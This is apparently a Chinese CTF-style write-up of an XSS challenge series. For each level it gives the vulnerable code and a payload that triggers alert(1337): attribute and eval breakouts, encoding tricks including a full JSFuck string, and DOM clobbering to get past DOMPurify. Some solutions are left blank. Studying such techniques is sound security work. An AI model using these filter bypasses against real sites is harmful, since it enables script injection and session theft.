要求用戶不參與,觸發alert(1337)
目錄
Ma Spaghet!
Jefff
Ugandan Knuckles
Ricardo Milos
Ah That's Hawt
Ligma
Mafia
Ok, Boomer
Exmaple 1 - Create
Example 2 - Overwrite
Example 3 - Overwrite2
toString
Ma Spaghet!
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
給somebody傳參,如果不傳就默認使用Somebody
innerHTML只限制了script標簽,除了它其他的觸發payload都可以使用
如somebody=<img%20src=1%20οnerrοr=alert(1337)>
Jefff
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`) //eval 會直接執行字符串中的JS代碼setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
因為 eval 會直接執行字符串中的 JS 代碼,所以可以直接插入alert(1),但是要把雙引號閉合并注釋。
即jeff=aa";alert(1)//---------使用//注釋后面的雙引號
Ugandan Knuckles
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
這段代碼把尖括號過濾了,和上一關一樣,可以使用wey=aa" 20οnclick="alert(1337),但是這樣需要用戶點擊輸入框才能觸發,不符合題目要求
這里可以想到input的一個屬性:可任意自動聚焦onfocus,此時還是需要用戶參與,所以可以結合autofocus=true使用不需要用戶參與:wey=aa" autofocus οnfοcus="alert(1337)
Ricardo Milos
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
form表單有一個enctyoe屬性,默認值是application/x-www-form-urlencoded,在文本類數據的普通表單提交時使用;當文件上傳時使用multipart/form-data;調試或特殊需求(極少使用,部分舊瀏覽器可能不支持)使用text/plain
form表單的action屬性定義表單數據提交的目標地址,如果它的值為“#”,就提交在當前頁面
2s后會自動提交
Ah That's Hawt
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>
這段代碼過濾了()、``、/
可以利用編碼(),逃出過濾。如果只用urlencode編碼(),在進入程序之前就會被解碼為(),然后被過濾。
可以將alert(1)先使用HTML實體編碼再使用urlencode編碼
Ligma
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
這段代碼把字母和數字都過濾了,但是還有符號沒過濾,可以使用 JSFuck 編碼,它編碼之后都是符號。但是JSFuck中的[
和 ]
在 URL 中是特殊字符,可能被截斷或轉義,?、
&、
=` 等符號可能干擾參數解析。所以再進行一次urlencode編碼。
將alert(1) JSFuck編碼后:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()
再將JSFuck編碼后的內容進行urlencode編碼:
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%28%29
Mafia
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
可以發現沒有過濾alert的大寫和小括號。但是eval不識別ALERT。
第一種方法:使用函數轉為小寫。
Function(/ALERT(1337)/.source.toLowerCase())() /ALERT(1337)/ - 這是一個正則表達式字面量 .source - 獲取正則表達式的源字符串(即 "ALERT(1337)") .toLowerCase() - 將字符串轉為小寫("alert(1337)") Function() - 相當于 new Function(),用于動態創建函數 最后的 () - 立即調用這個新創建的函數
第二種方法:
第三種方法:
eval(location.hash.substr(1))#alert(1337) location接口的hash屬性是一個字符串,包含一個“#”后跟位置URL的片段標識符。如果URL沒有片段標識符,則該屬性的值為空字符串"" substr值的substr()方法返回該字符串的一部分,從指定的索引開始截取 substr(1)如果不寫,就會把#截進去
Ok, Boomer
<h2 id="boomer">Ok, Boomer.</h2>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
DOMPurity是XSS的過濾框架
發現"ok is not defined"
那么ok是哪里來的,因為有DOMPurity框架,所以不可能從innerHTML入手,只能從ok入手,所以ok一點是惡意代碼,并且需要有惡意payload觸發。
JS有兩個定時器,其中一個是setTimeout,在指定延遲的時間內執行一次,setTimeout(ok, 2000)是兩秒后執行ok。另一個是setInterval,是循環執行,setInterval(ok,2000)是每兩秒執行一次,斷開需要setInterval的斷開函數。
Dom Clobbering (DOM破壞)就是?種將 HTML 代碼注???中以操縱 DOM 并最終更改??上 JavaScript ?為的技術。 在?法直接 XSS的情況下,我們就可以往 DOM Clobbering 這?向考慮了。
接下來找可用的標簽來寫payload
Exmaple 1 - Create
document.x沒有打印出來,document不能根據id把內容打印出來。
即可以看到通過 id 或者 name 屬性,可以在document 或者window 對象下創建?個對象。
Example 2 - Overwrite
Example 3 - Overwrite2
<body><form name='body'><img id="appendChild"></form>
</body>
<script>var div = document.createElement('div');document.body.appendChild(div);console.log(document.body.appendChild)
</script>
報錯說document.body.appendChild is not a function,但是它的確是系統自帶的函數,說明我們在form中的內容把原來的替代了。
但是這樣取出來的類型是HTMLTmageElement,不方便我們操作,我們就思考有沒有一個元素取出來的類型是字符串。
toString
所以我們可以通過以下代碼來進?fuzz 得到可以通過toString ?法將其轉換成字符串類型的標簽:
兩個元素:area和anchor(a),area是空元素,利用不了
所以可以想到這樣:
<a id="ok" href="javascript:alert(1337)">
但是并不行,所以就去查看了官方的內置白名單,javascript并不在其中,白名單有
/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i
所以可以使用tel:
<a id="ok" href="tel:alert(1337)">